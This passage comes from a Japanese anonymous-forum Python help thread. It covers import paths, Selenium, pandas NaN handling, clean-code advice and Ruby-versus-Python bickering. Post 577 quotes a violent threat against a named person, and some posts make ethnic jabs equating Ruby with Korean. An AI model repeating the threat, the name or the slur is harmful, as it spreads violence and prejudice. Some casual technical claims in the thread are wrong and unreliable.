2019/06/09(日) 11:04:45.99ID:V8qyq4Ge 多くはないのは同意するが
滅多にないは言い過ぎ
訂正汁
滅多にないは言い過ぎ
訂正汁
499デフォルトの名無しさん
2019/06/09(日) 12:40:55.08ID:BmQn1SBQ baka niiha muri
500デフォルトの名無しさん
2019/06/09(日) 13:28:49.95ID:0qCJsaBL importについて教えてください。
現在作成しているプログラムはこのような構造になっています。
hogehoge
┣ db ┳ models.py # DBのスキーマを管理するモジュール。rds.pyをインポートしている
┃ .┃ rds.py # DBのセッションを管理するモジュール
┃ .┗ __init__.py
┗ app.py # Webサーバを起動するモジュール
(1)最初に事前準備として手動でmodels.pyを実行する事でDBの作成を行います。
# python db/models.py
(2)その後Webサーバを起動してプログラムの利用が始まります。
# python app.py
ここで質問なのですが、models.pyの中のimport文の書き方によって(1)と(2)のどちらかでエラーが発生します。
(1)でうまく動く時は import rds
(2)でうまく動く時は import db.rds
どうしてこのような挙動になるのか、(1)と(2)のどちらでも動くようにするにはどうしたら良いのかご教示ください。
よろしくお願い致します。
現在作成しているプログラムはこのような構造になっています。
hogehoge
┣ db ┳ models.py # DBのスキーマを管理するモジュール。rds.pyをインポートしている
┃ .┃ rds.py # DBのセッションを管理するモジュール
┃ .┗ __init__.py
┗ app.py # Webサーバを起動するモジュール
(1)最初に事前準備として手動でmodels.pyを実行する事でDBの作成を行います。
# python db/models.py
(2)その後Webサーバを起動してプログラムの利用が始まります。
# python app.py
ここで質問なのですが、models.pyの中のimport文の書き方によって(1)と(2)のどちらかでエラーが発生します。
(1)でうまく動く時は import rds
(2)でうまく動く時は import db.rds
どうしてこのような挙動になるのか、(1)と(2)のどちらでも動くようにするにはどうしたら良いのかご教示ください。
よろしくお願い致します。
501デフォルトの名無しさん
2019/06/09(日) 13:46:58.29ID:Gi1Jt9cY pythonに限らず相対パスの話で
models.py自身から見りゃそりゃrdsは同じフォルダにある、
app.pyからrdsを見ると\db\rdsにある
models.py自身から見りゃそりゃrdsは同じフォルダにある、
app.pyからrdsを見ると\db\rdsにある
502デフォルトの名無しさん
2019/06/09(日) 14:03:14.07ID:0qCJsaBL >>501
ありがとうございます。
どちらの場合でもエラーはmodels.pyから出るのですが、
app.pyで実行した場合はmodels.pyの中のrds.pyへのパスもmodels.pyから見たものではなくapp.pyが基準になるという事ですか?
なんてこったどうすればいいんだ・・・
ありがとうございます。
どちらの場合でもエラーはmodels.pyから出るのですが、
app.pyで実行した場合はmodels.pyの中のrds.pyへのパスもmodels.pyから見たものではなくapp.pyが基準になるという事ですか?
なんてこったどうすればいいんだ・・・
503デフォルトの名無しさん
2019/06/09(日) 14:07:25.86ID:V8qyq4Ge from . import rds
これだけでいけるはず
必要があれば __init__.py にも何か書く
これだけでいけるはず
必要があれば __init__.py にも何か書く
504デフォルトの名無しさん
2019/06/09(日) 21:50:27.72ID:XtRL47qQ python + chrome + seleniumで制御しています。
拡張機能を読み込むとインストールに成功しましたのページが開いてしまい。それを手作業で消さないと続きが実行されません。
何か良い方法があれば教えてくれませんか?
拡張機能を読み込むとインストールに成功しましたのページが開いてしまい。それを手作業で消さないと続きが実行されません。
何か良い方法があれば教えてくれませんか?
505デフォルトの名無しさん
2019/06/09(日) 22:00:15.81ID:o1V0PdsM506デフォルトの名無しさん
2019/06/09(日) 22:46:33.49ID:XtRL47qQ profileで拾っても拡張はインストールされた状態にならないので、毎回Optionsでインストールしています。
インストールされた状態でselenium動かせるならそれの方が良いです。
インストールされた状態でselenium動かせるならそれの方が良いです。
507デフォルトの名無しさん
2019/06/09(日) 22:55:59.43ID:o1V0PdsM profile指定で拡張そのままで起動できてるけどなあ…
ログイン状態とか維持できてる?
俺も最初はそんな問題あったような気がするけど…
正直原因は覚えてない
ログイン状態とか維持できてる?
俺も最初はそんな問題あったような気がするけど…
正直原因は覚えてない
508デフォルトの名無しさん
2019/06/09(日) 23:03:33.80ID:XtRL47qQ ログイン状態はキープできてるのですが。。
わかりましたProfile使って色々やってみます。
何か間違えているのでしょうね
ありがとうございました
わかりましたProfile使って色々やってみます。
何か間違えているのでしょうね
ありがとうございました
509デフォルトの名無しさん
2019/06/11(火) 17:53:35.07ID:wG4IEdp6 Pythonが最高値を記録 - 6月開発言語ランキング 2019/06/11 08:49 後藤大地
https://news.mynavi.jp/article/20190611-840797/
TIOBE Softwareから、2019年6月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語が
どれだけ話題になっているかをインデックス化したもの。2019年6月におけるインデックス
は次のとおり。
6月TIOBE Programming Community Index / 円グラフ
https://news.mynavi.jp/photo/article/20190611-840797/images/002l.jpg
2019年6月はPythonが8.530%と、観測が始まってから最も高い水準に到達した。TIOBE
Softwareはこのままの傾向が続いた場合、今度3年から4年でPythonがJavaとC言語を抜いて
最も人気があるプログラミング言語になると予測している。
TIOBE Softwareはこうした動向の理由として、Javaはクラス、静的メソッド、パッケージ
などプログラミングの初心者が学ぶには冗長すぎる傾向があること、C言語ではメモリ
管理に直面することなどを挙げている。こうした言語と比べると、Pythonはシンプルで
ワンライナーで済むこともあり、その簡単さが普及につながっているという。
https://news.mynavi.jp/article/20190611-840797/
TIOBE Softwareから、2019年6月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語が
どれだけ話題になっているかをインデックス化したもの。2019年6月におけるインデックス
は次のとおり。
6月TIOBE Programming Community Index / 円グラフ
https://news.mynavi.jp/photo/article/20190611-840797/images/002l.jpg
2019年6月はPythonが8.530%と、観測が始まってから最も高い水準に到達した。TIOBE
Softwareはこのままの傾向が続いた場合、今度3年から4年でPythonがJavaとC言語を抜いて
最も人気があるプログラミング言語になると予測している。
TIOBE Softwareはこうした動向の理由として、Javaはクラス、静的メソッド、パッケージ
などプログラミングの初心者が学ぶには冗長すぎる傾向があること、C言語ではメモリ
管理に直面することなどを挙げている。こうした言語と比べると、Pythonはシンプルで
ワンライナーで済むこともあり、その簡単さが普及につながっているという。
510デフォルトの名無しさん
2019/06/11(火) 20:51:17.82ID:nbZ/cYor pandasを使ってCSVファイルを開く処理を書いたのですが、
そのファイルのセルの一つに”Null”という文字列が含まれていたため、pandasを介すとそこのセルがNaN扱いになってしまいました
これを文字列のNullのまま扱ってもらうようにはできないでしょうか?
書いたコードはこんな感じです
import pandas as pd
df = pd.read_csv('D:/Desktop/python.csv', delimiter="\t", index_col=[0], header=None)
print(df) #Nullという文字が書かれたセルがNaN扱いになってしまった
そのファイルのセルの一つに”Null”という文字列が含まれていたため、pandasを介すとそこのセルがNaN扱いになってしまいました
これを文字列のNullのまま扱ってもらうようにはできないでしょうか?
書いたコードはこんな感じです
import pandas as pd
df = pd.read_csv('D:/Desktop/python.csv', delimiter="\t", index_col=[0], header=None)
print(df) #Nullという文字が書かれたセルがNaN扱いになってしまった
511デフォルトの名無しさん
2019/06/11(火) 22:35:59.26ID:yU84dTYh 試しにpandas使ってみたらNullっていう文字列はNullって文字列のままで表示されましたよ
そのpython.csvがおかしいんでないの? テキストエディタで中身確認した?
そのpython.csvがおかしいんでないの? テキストエディタで中身確認した?
512デフォルトの名無しさん
2019/06/11(火) 22:50:52.65ID:nbZ/cYor >>511
レスありがとうございます
そのCSVの中身はこのようになってます(OpenOfficeCalcで開いたもの)
https://i.imgur.com/QPR1ycq.png
A2の文字列がNullです
これをpandasで開くとこうなります
https://i.imgur.com/hUpmSMu.png
レスありがとうございます
そのCSVの中身はこのようになってます(OpenOfficeCalcで開いたもの)
https://i.imgur.com/QPR1ycq.png
A2の文字列がNullです
これをpandasで開くとこうなります
https://i.imgur.com/hUpmSMu.png
513デフォルトの名無しさん
2019/06/11(火) 23:00:26.74ID:yU84dTYh うんうん、そのCSVをメモ帳とかのテキストエディタで開いて中身を確認すると
nullのところが空になっているんじゃないかな?
nullのところが空になっているんじゃないかな?
514デフォルトの名無しさん
2019/06/11(火) 23:05:29.26ID:nbZ/cYor515デフォルトの名無しさん
2019/06/11(火) 23:27:40.11ID:yU84dTYh うーん、同じようなファイルを作ってpandasで開いてみたけどnullはnullのままだわw
私の環境はWindowsで、メモ帳で>>514の途中までのデータを入力したファイル(文字コードはsjis)を用意して
encoding指定してpandasで開いてみました(encoding指定しないとエラーになる)
>>> df = pd.read_csv(r'C:\Users\tk\Desktop\aaa.csv', delimiter="\t", index_col=[0], header=None, encoding='cp932')
>>> print(df)
1
0
nudge 軽い突き
null ゼロ
nuptial 結婚式
obscenity わいせつ
>>>
ということで、そちらの環境は日本語が含まれているファイルを開いているのにencoding指定無しで開けているのが異なる
もしかしたらencodingエラーを無視して開いているんじゃないのかな?それでpandasで読み込んだ時点でデータが
変わっていると予想
私の環境はWindowsで、メモ帳で>>514の途中までのデータを入力したファイル(文字コードはsjis)を用意して
encoding指定してpandasで開いてみました(encoding指定しないとエラーになる)
>>> df = pd.read_csv(r'C:\Users\tk\Desktop\aaa.csv', delimiter="\t", index_col=[0], header=None, encoding='cp932')
>>> print(df)
1
0
nudge 軽い突き
null ゼロ
nuptial 結婚式
obscenity わいせつ
>>>
ということで、そちらの環境は日本語が含まれているファイルを開いているのにencoding指定無しで開けているのが異なる
もしかしたらencodingエラーを無視して開いているんじゃないのかな?それでpandasで読み込んだ時点でデータが
変わっていると予想
516デフォルトの名無しさん
2019/06/11(火) 23:31:41.04ID:yU84dTYh あ、ファイルの文字コードをutf-8にしたらencoding指定無しでいけたわ
でもnull文字はnull文字のままで、NaNにはならないなぁー
でもnull文字はnull文字のままで、NaNにはならないなぁー
517デフォルトの名無しさん
2019/06/12(水) 00:05:34.02ID:BNfp0i08 わざわざ同じように試していただいて本当にお手数おかけしてます
せっかくですので問題が起こっているCSVファイルもあげさせていただきました
もしよければチェックしていただけるとありがたいです
https://dotup.org/uploda/dotup.org1870215.csv
せっかくですので問題が起こっているCSVファイルもあげさせていただきました
もしよければチェックしていただけるとありがたいです
https://dotup.org/uploda/dotup.org1870215.csv
518デフォルトの名無しさん
2019/06/12(水) 00:17:35.61ID:dGJQWhEh >>> df = pd.read_csv(r'C:\Users\tk\Desktop\dotup.org1870215.csv', delimiter="\t", index_col=[0], header=None)
>>> print(df)
1
0
nudge 軽い突き
null ゼロ
nuptial 結婚式
obscenity わいせつ
obsessive 妄想を持った人
omen 前兆
onslaught 猛攻撃
>>>
ででぇーん、再現ならず・・じゃあ私もう寝るから、おやすみー
>>> print(df)
1
0
nudge 軽い突き
null ゼロ
nuptial 結婚式
obscenity わいせつ
obsessive 妄想を持った人
omen 前兆
onslaught 猛攻撃
>>>
ででぇーん、再現ならず・・じゃあ私もう寝るから、おやすみー
519デフォルトの名無しさん
2019/06/12(水) 00:21:06.05ID:dGJQWhEh ちなみに私の環境のpandasはAnacondaに入ってたやつで、バージョンは以下のとおり
>>> pd.__version__
'0.20.3'
>>>
>>> pd.__version__
'0.20.3'
>>>
520デフォルトの名無しさん
2019/06/12(水) 00:21:38.85ID:BNfp0i08 うーん再現ならずですか・・・
お付き合いいただきありがとうございました、おやすみなさい
お付き合いいただきありがとうございました、おやすみなさい
521デフォルトの名無しさん
2019/06/12(水) 00:23:24.16ID:BNfp0i08 自分のpandasのバージョンは0.24.2なので、もしかしたらそこが原因かもしれませんね
いろいろ試してみます
ありがとうございました
いろいろ試してみます
ありがとうございました
522デフォルトの名無しさん
2019/06/12(水) 06:14:33.53ID:v9kdzfUv google colabで読み込んでどうなる?
523デフォルトの名無しさん
2019/06/12(水) 09:52:59.33ID:dGJQWhEh524デフォルトの名無しさん
2019/06/12(水) 10:08:38.96ID:kCj8PQiR >>523
>しかし、既に「Apache OpenOffice」のユーザーがあまりにも多く、終わらせようにも影響力が大きいです。
普及のためには、M$との互換性が高く移行も容易、みたいな宣伝をするくせにw
>しかし、既に「Apache OpenOffice」のユーザーがあまりにも多く、終わらせようにも影響力が大きいです。
普及のためには、M$との互換性が高く移行も容易、みたいな宣伝をするくせにw
525デフォルトの名無しさん
2019/06/12(水) 21:48:46.24ID:DK5Xdw8/ win上のAnacondaのspyderのエディターで書いて実行する場合
qt5もtkinterもボタンを押して変化なし
Anaconda powershellというのでpython ファイル名だとちゃんと動いた
qt5もtkinterもボタンを押して変化なし
Anaconda powershellというのでpython ファイル名だとちゃんと動いた
526デフォルトの名無しさん
2019/06/12(水) 22:46:29.53ID:BSq+d1KN 出来るだけきれいなコードを書けるようになりたいと思ってます
動けば良いってレベルから次に行きたい
こういう場面はこういう処理の書き方のほうが良いとかはどうやって身につければ良いですか?
動けば良いってレベルから次に行きたい
こういう場面はこういう処理の書き方のほうが良いとかはどうやって身につければ良いですか?
527デフォルトの名無しさん
2019/06/12(水) 22:50:55.79ID:6508qYyd 独学じゃ無理
仕事で他人にコードレビューで叩かれて覚えるもんだ
仕事で他人にコードレビューで叩かれて覚えるもんだ
528デフォルトの名無しさん
2019/06/12(水) 22:59:45.07ID:uvvnpCRF >>526
人が書いたコードを読むこと
標準ライブラリとかで使う部分だけでもいいから読んでみる
PEP8にできる範囲で準拠してみるとか
他にはテストを書いてみるとかも役に立ってると思う
ていうか、色々ありすぎてキリがないけど
人が書いたコードを読むのは絶対必要かな
人が書いたコードを読むこと
標準ライブラリとかで使う部分だけでもいいから読んでみる
PEP8にできる範囲で準拠してみるとか
他にはテストを書いてみるとかも役に立ってると思う
ていうか、色々ありすぎてキリがないけど
人が書いたコードを読むのは絶対必要かな
529デフォルトの名無しさん
2019/06/12(水) 23:14:51.17ID:eCiQ25Tx530デフォルトの名無しさん
2019/06/13(木) 00:18:27.47ID:QGxbtz9r >>526
Pythonできれいなコードはあり得ない。C, C++, C#などで書き直すしかない。
Pythonできれいなコードはあり得ない。C, C++, C#などで書き直すしかない。
531デフォルトの名無しさん
2019/06/13(木) 01:32:57.26ID:SaZXT9dZ >>539 そりゃねーよ。
Python だって型を指定することもできるんだぞ。 可読性はそれだけでも上がる。
初心者はそんなことは考えなくて良い。
人のプログラムを眺めること、ひたすら自分で練習問題を解いて人の回答と見比べてみること。
プログラミングのお題スレ Part14
https://mevius.2ch.net/test/read.cgi/tech/1558168409/
Python だって型を指定することもできるんだぞ。 可読性はそれだけでも上がる。
初心者はそんなことは考えなくて良い。
人のプログラムを眺めること、ひたすら自分で練習問題を解いて人の回答と見比べてみること。
プログラミングのお題スレ Part14
https://mevius.2ch.net/test/read.cgi/tech/1558168409/
532デフォルトの名無しさん
2019/06/13(木) 06:40:21.43ID:NulSwGzN >>526
可読性が高く、きれいなコードが書けるのは、Ruby。
誰もが読めるから、アルゴリズムを説明する、仮想言語にもよく使われる
Node.js などは、Rubyのすべての実装を、JavaScript に移植したもの!
可読性が高いから、他の言語から、よく参考にされる
Rubyで「プログラミングのお題スレ」の問題を解くのが、お勧め!
可読性が高く、きれいなコードが書けるのは、Ruby。
誰もが読めるから、アルゴリズムを説明する、仮想言語にもよく使われる
Node.js などは、Rubyのすべての実装を、JavaScript に移植したもの!
可読性が高いから、他の言語から、よく参考にされる
Rubyで「プログラミングのお題スレ」の問題を解くのが、お勧め!
533デフォルトの名無しさん
2019/06/13(木) 07:41:24.30ID:vbUZdfMk534デフォルトの名無しさん
2019/06/13(木) 07:48:08.30ID:k5DFsQwe 7年前のここから成長できなかったんだろ
https://el.jibun.atmarkit.co.jp/rails/2011/01/debianruby-1aff.html
開発者コミュニティが未熟だとはDHHも言及しておる
https://el.jibun.atmarkit.co.jp/rails/2011/01/debianruby-1aff.html
開発者コミュニティが未熟だとはDHHも言及しておる
535デフォルトの名無しさん
2019/06/13(木) 08:13:31.56ID:N68D4F9N >>532
あのスレは簡単なお題に対して短いプログラムで回答することが多く、one linerも多いだろう。
質問者の求めているものが得られるような場所じゃないぞ。
毎度のことだか、ところ構わず自分の好きなものを推すのはやめろ。「相手の求めること」と「自分の好きなもの」が違うことが理解できないのか?
あのスレは簡単なお題に対して短いプログラムで回答することが多く、one linerも多いだろう。
質問者の求めているものが得られるような場所じゃないぞ。
毎度のことだか、ところ構わず自分の好きなものを推すのはやめろ。「相手の求めること」と「自分の好きなもの」が違うことが理解できないのか?
536デフォルトの名無しさん
2019/06/13(木) 08:24:08.02ID:5cAqIW1C アルゴリズムの説明に使われるのってRubyよりPythonの方が圧倒的に多いよね
そもそもPythonは意図的にアルゴリズムの文献で使われてるような仮想言語(擬似言語の間違いだと思うが)
に似せて作られてるから当然ではあるんだが
そもそもPythonは意図的にアルゴリズムの文献で使われてるような仮想言語(擬似言語の間違いだと思うが)
に似せて作られてるから当然ではあるんだが
537デフォルトの名無しさん
2019/06/13(木) 09:46:07.28ID:g8amv0Zv C言語が多いだろ
538デフォルトの名無しさん
2019/06/13(木) 10:03:17.67ID:S2o13G1a CとJavaとPythonが多いよな。基本がCで、オブジェクト指向関係だとJavaが多いイメージ。結局は使用人口なんだろう。
抽象度の高いスクリプト言語の擬似コードとしては、RubyよりもPythonの方が多い印象だな。使用人口の点もあるし、クセが相対的に少ないので無難ということなんだろうが。
抽象度の高いスクリプト言語の擬似コードとしては、RubyよりもPythonの方が多い印象だな。使用人口の点もあるし、クセが相対的に少ないので無難ということなんだろうが。
539デフォルトの名無しさん
2019/06/13(木) 10:07:43.77ID:jbT5ijCY540デフォルトの名無しさん
2019/06/13(木) 11:24:57.82ID:GWyBJ7G0 異教徒は雑草の如く湧いてくる。
541デフォルトの名無しさん
2019/06/13(木) 16:51:10.14ID:RGywZD7u >>539 理解できないときは、自分で実行させて中間の値がどう変わっていくのかをみていくと理解が早い。
そして自分で少し変えた例題を作って実行させてみる。
Python は、基本は優しそうに見えるから侮って勉強を怠ると、奈落の底に落ちるかも知れない。
登れば登るほど頂上が見えないようなところがあるな。 ライプラリが半端なく多いからね。 あんなのもこんなのも大抵できてしまう。
そして自分で少し変えた例題を作って実行させてみる。
Python は、基本は優しそうに見えるから侮って勉強を怠ると、奈落の底に落ちるかも知れない。
登れば登るほど頂上が見えないようなところがあるな。 ライプラリが半端なく多いからね。 あんなのもこんなのも大抵できてしまう。
542532
2019/06/14(金) 00:26:24.31ID:gXbRy3uY IT 大賞を取った本「プログラマ脳を鍛える数学パズル」2015 も、多くはRuby の解答
一部は、JavaScript で書いてある
一部は、JavaScript で書いてある
543デフォルトの名無しさん
2019/06/14(金) 00:49:15.52ID:xBXyqLPT >>542 どこの国の話だよ。 アメリカの大賞はどうだった?
Ruby が日本で生き延びられていたのは、Python のUTF の扱いが遅れたからに他ならない。 Python3 になってからやっと日本でも使われ始めたというだけの話。
いい加減死んだ子の年を数えるのはやめろよ。 虚しくなるだけ。
Ruby が日本で生き延びられていたのは、Python のUTF の扱いが遅れたからに他ならない。 Python3 になってからやっと日本でも使われ始めたというだけの話。
いい加減死んだ子の年を数えるのはやめろよ。 虚しくなるだけ。
544デフォルトの名無しさん
2019/06/14(金) 00:58:00.02ID:Guh3Kqz1 Pythonの話しない?
Rubyとか役目終えたし
Rubyとか役目終えたし
545デフォルトの名無しさん
2019/06/14(金) 20:18:37.97ID:apjsiMiU 東京の書店の本棚はPythonだらけw
Pythonだけで一棚完全占拠+moreww
rubyは全盛期でも一列ちょっとが精々で一棚埋めたことなんてなかったけど最近は四分の一棚未満とか言う悲惨な状況wwwww
Pythonだけで一棚完全占拠+moreww
rubyは全盛期でも一列ちょっとが精々で一棚埋めたことなんてなかったけど最近は四分の一棚未満とか言う悲惨な状況wwwww
546デフォルトの名無しさん
2019/06/14(金) 20:21:05.91ID:apjsiMiU547デフォルトの名無しさん
2019/06/14(金) 20:31:13.90ID:uMeUmtQc 今は小学校から大学まで学校全てでPython メインで教えてるからね。 ruby の講座なんて見たことない。
548デフォルトの名無しさん
2019/06/14(金) 20:46:52.48ID:bmYBdO4W 異教徒じゃ、異教徒が現れたぞ
一匹見つけたら20匹は隠れているぞ
一匹見つけたら20匹は隠れているぞ
549デフォルトの名無しさん
2019/06/15(土) 11:14:09.22ID:Z5/LYv7k550デフォルトの名無しさん
2019/06/16(日) 01:47:23.85ID:RkEkN9gF Rubyの2.0が出るタイミングとPythonの3.0が出るタイミングが同じくらいだったんだけど
windowでのunicodeファイル名の扱いがrubyは絶望的ということで、自分はこの時期にRubyからpythonに乗り換えたんだよなぁ
windowでのunicodeファイル名の扱いがrubyは絶望的ということで、自分はこの時期にRubyからpythonに乗り換えたんだよなぁ
551デフォルトの名無しさん
2019/06/16(日) 01:52:13.41ID:RkEkN9gF >>536
論文で疑似コードでよく見るのはpascalっぽいなぁと思う
論文で疑似コードでよく見るのはpascalっぽいなぁと思う
552デフォルトの名無しさん
2019/06/16(日) 14:49:27.57ID:yEr4r4hL pascal臭さはpythonの良さだったのに最近のpythonはよりrubyに近づいてる。
総じてクソな方向だと思う。
総じてクソな方向だと思う。
553デフォルトの名無しさん
2019/06/16(日) 16:14:21.89ID:Ls3vXLZ0 music playerをraspberry piで動かそうと思うんだけど
mp3はpygameでできるんだけどflacファイルの再生ってどうやったらいいんだろう?
mp3はpygameでできるんだけどflacファイルの再生ってどうやったらいいんだろう?
554デフォルトの名無しさん
2019/06/16(日) 17:11:59.12ID:Z9zSyDOE S○X
555デフォルトの名無しさん
2019/06/16(日) 17:17:45.96ID:ZECmHa8A556デフォルトの名無しさん
2019/06/16(日) 17:18:50.20ID:ZECmHa8A >>553
スマンflac無かったわw
スマンflac無かったわw
557デフォルトの名無しさん
2019/06/16(日) 17:21:27.93ID:ZECmHa8A558デフォルトの名無しさん
2019/06/17(月) 10:50:38.89ID:gprQuYsc559デフォルトの名無しさん
2019/06/17(月) 10:55:13.82ID:Lf4SaB10 毎日毎日僕らは鉄板の
560デフォルトの名無しさん
2019/06/17(月) 11:28:20.75ID:lxO8a0KV > 558
ruby誘導だったから放置
ruby誘導だったから放置
561デフォルトの名無しさん
2019/06/17(月) 11:31:51.79ID:gprQuYsc Rubyの話じゃ無いっすよ先輩
ちゃんとPythonに書き換えてるコードのリンクっす
つか、当方PythonかじりたてでPython以外の言語知らないっす
ちゃんとPythonに書き換えてるコードのリンクっす
つか、当方PythonかじりたてでPython以外の言語知らないっす
562デフォルトの名無しさん
2019/06/17(月) 11:47:16.23ID:gprQuYsc >>547
普通の小学生はScratch>>Pythonなのに
松山市の子供達はスモウルビィー>>Ruby
ファミコン>>スーパーファミコン
セガマークIII>>メガドライブ
に似てる気がして、迷わずPythonを選びました。
手続き型でスクレイピングで遊んでたらもっとPythonが知りたくなって
クラスの壁にぶち当たり、先輩達に相談に来たっす。
https://smalruby.jp/
普通の小学生はScratch>>Pythonなのに
松山市の子供達はスモウルビィー>>Ruby
ファミコン>>スーパーファミコン
セガマークIII>>メガドライブ
に似てる気がして、迷わずPythonを選びました。
手続き型でスクレイピングで遊んでたらもっとPythonが知りたくなって
クラスの壁にぶち当たり、先輩達に相談に来たっす。
https://smalruby.jp/
563デフォルトの名無しさん
2019/06/17(月) 11:47:43.64ID:gprQuYsc スマヌ松江市
564デフォルトの名無しさん
2019/06/17(月) 11:54:02.82ID:D4rpPP9R 当方PythonかじりたてでPython以外の言語知らないっす
の割にはrubyに詳しいなω
お前たい焼きの当事者だろ
の割にはrubyに詳しいなω
お前たい焼きの当事者だろ
565デフォルトの名無しさん
2019/06/17(月) 12:18:08.68ID:1eZbDMm7 1. 小麦との出会い
566デフォルトの名無しさん
2019/06/17(月) 12:50:10.19ID:PGXWl9Ws >>558 ルーピーじゃなかったらなぜ最初から Python たい焼きを参考にしなかったんだ?
じっくり自分で見てみろ。
Pythonで学ぶ 基礎からのプログラミング入門
第20回
オブジェクト指向について学ぼう(2)
https://news.mynavi.jp/article/python-20/
https://news.mynavi.jp/article/python-20/images/001.jpg
じっくり自分で見てみろ。
Pythonで学ぶ 基礎からのプログラミング入門
第20回
オブジェクト指向について学ぼう(2)
https://news.mynavi.jp/article/python-20/
https://news.mynavi.jp/article/python-20/images/001.jpg
567デフォルトの名無しさん
2019/06/17(月) 12:55:37.21ID:PGXWl9Ws >>566 あれ? 画像が出ないな。 ブラウザで開けば見れるが。
こっちの画像の方が理解しやすいだろう。
https://image.itmedia.co.jp/ait/articles/0803/12/r801.gif
こっちの画像の方が理解しやすいだろう。
https://image.itmedia.co.jp/ait/articles/0803/12/r801.gif
568デフォルトの名無しさん
2019/06/17(月) 13:32:22.87ID:gprQuYsc マジ参考になるサイトありがとうございます!
ルーピー?Rubyチョイスしてしまったイタい子の事?ですか?
自分は最近Pythonはじめて言語選びでRubyのことさらり見ただけなので、よくわかりません。
ただ、世界的になったPythonと松江の田舎おじさん達の居場所作り言語を比較してもしょうがないと思うっす。
それにリンダリカウスさんはプログラミングできなさそうなのに、イミフな絵本作って居場所作りしてるし。
初心者の自分ですら、PythonとRubyどっちを選べば良いかぐらいわかります。
ルーピー?Rubyチョイスしてしまったイタい子の事?ですか?
自分は最近Pythonはじめて言語選びでRubyのことさらり見ただけなので、よくわかりません。
ただ、世界的になったPythonと松江の田舎おじさん達の居場所作り言語を比較してもしょうがないと思うっす。
それにリンダリカウスさんはプログラミングできなさそうなのに、イミフな絵本作って居場所作りしてるし。
初心者の自分ですら、PythonとRubyどっちを選べば良いかぐらいわかります。
569デフォルトの名無しさん
2019/06/17(月) 13:33:45.28ID:PGXWl9Ws ここが結構まとまってそうだけど Python2 だから注意してね。Print文は ptint() に変換してね。
10. Pythonでオブジェクト指向@
https://sites.google.com/site/kuraitlab/programing-language/python/python-oop1
「クラスはたい焼きの型」で、「インスタンスがたい焼き」の関係です。
たい焼きクラスには「泳げたい焼き君」を歌うメソッドを定義します。
次にたい焼きをひとつ作ってメソッドを呼び、歌わせてみましょう。
10. Pythonでオブジェクト指向@
https://sites.google.com/site/kuraitlab/programing-language/python/python-oop1
「クラスはたい焼きの型」で、「インスタンスがたい焼き」の関係です。
たい焼きクラスには「泳げたい焼き君」を歌うメソッドを定義します。
次にたい焼きをひとつ作ってメソッドを呼び、歌わせてみましょう。
570デフォルトの名無しさん
2019/06/17(月) 14:12:55.67ID:gprQuYsc クラスの概念理解できた気がします。ありがとうっす!
小規模なモンしか書いた事ない初心者なんで、メリットが直感的には理解できてませんが、
数名のプロジェクトや大規模なコードになると訂正修正がすんなりスマートに行くのも何となく理解できます。
ちょっと長めのアプリでも作ってクラスを利用するやり方を少しずつ学んでいきます。
あと、もいっこ質問なんすけど、Pythonが英語を学ぶ事なら
Rubyは韓国語みたいな認識でいいですか?
小規模なモンしか書いた事ない初心者なんで、メリットが直感的には理解できてませんが、
数名のプロジェクトや大規模なコードになると訂正修正がすんなりスマートに行くのも何となく理解できます。
ちょっと長めのアプリでも作ってクラスを利用するやり方を少しずつ学んでいきます。
あと、もいっこ質問なんすけど、Pythonが英語を学ぶ事なら
Rubyは韓国語みたいな認識でいいですか?
571デフォルトの名無しさん
2019/06/17(月) 14:45:02.78ID:PGXWl9Ws >>570 もう良いよ。 死んだ子に鞭を打つようなことはやめよう。 一人 *uby使いがPython スレを荒らして困ってるだけ。
*uby自体は悪くないけどうざいから自分はスマホの方ではNGワードに叩き込んでる。
*uby自体は悪くないけどうざいから自分はスマホの方ではNGワードに叩き込んでる。
572デフォルトの名無しさん
2019/06/17(月) 16:40:00.84ID:gprQuYsc >>570
Rubyは半島言語そのもの
Rubyは半島言語そのもの
573デフォルトの名無しさん
2019/06/17(月) 18:13:31.76ID:1OuEx0ms >>569 おっとっと、わかると思うが、print() ね。
574デフォルトの名無しさん
2019/06/18(火) 00:11:26.08ID:D6aR/xXH ぱいたん
575デフォルトの名無しさん
2019/06/18(火) 02:01:02.01ID:6yN19r5b >>572
IDが……。お前のメンタリティは、まさに他から嫌われまくったRuby信者のそれと同じだわ
IDが……。お前のメンタリティは、まさに他から嫌われまくったRuby信者のそれと同じだわ
576デフォルトの名無しさん
2019/06/18(火) 05:04:17.92ID:E9jOJggr 自作自演ワロス
577デフォルトの名無しさん
2019/06/18(火) 06:14:11.68ID:3nOE2mBA プログラム板にキチガイ降臨中!botに一晩も反応する異常さ
一般人(学校恩師)に殺害予告をしているのでスレ建て通報してください。
https://mevius.5ch.net/test/read.cgi/tech/1559872586/
142 名前:a4 ◆700L1Efzuv 投稿日:2019/06/18(火) 05:29:55 ID://qVkzO
>>141
名古屋の人な 俺ね、君の問題を大橋先生と混ぜないことにする。つまりね、
片桐孝洋のことをボコろうと思う。普通に顎の骨を折る。これくらいで警察来るか?
一般市民とかさ、普通にさ、俺らの秘密なんだけどさ、日本人なんて復活ねーから。
一般人(学校恩師)に殺害予告をしているのでスレ建て通報してください。
https://mevius.5ch.net/test/read.cgi/tech/1559872586/
142 名前:a4 ◆700L1Efzuv 投稿日:2019/06/18(火) 05:29:55 ID://qVkzO
>>141
名古屋の人な 俺ね、君の問題を大橋先生と混ぜないことにする。つまりね、
片桐孝洋のことをボコろうと思う。普通に顎の骨を折る。これくらいで警察来るか?
一般市民とかさ、普通にさ、俺らの秘密なんだけどさ、日本人なんて復活ねーから。
578デフォルトの名無しさん
2019/06/18(火) 09:08:01.48ID:kixTd3MF ごめんなさい
ちょっと盛り上げるために自演っぽくしました
本当にクラスのリンク教えてくれた人ありがとう
Rubyはやってません
ちょっと盛り上げるために自演っぽくしました
本当にクラスのリンク教えてくれた人ありがとう
Rubyはやってません
579デフォルトの名無しさん
2019/06/18(火) 16:41:50.60ID:skZhrTT7 sympy で、 a+b+c = 7 で、a,b,c が異なる正の整数の場合の組み合わせをすべて表示しろ、と言う様な場合どうするの? 1,2,4 といく組み合わせが欲しいんだけど
a,b,c = sympy.symbols( 'a:c')
print( sympy.solve(a+b+c-7,a) )
とかでも答えが出てこない。
色々調べたけど異なる数字というのをどう表現するのかわからない、集合? FiniteSet ?
a,b,c = sympy.symbols( 'a:c')
print( sympy.solve(a+b+c-7,a) )
とかでも答えが出てこない。
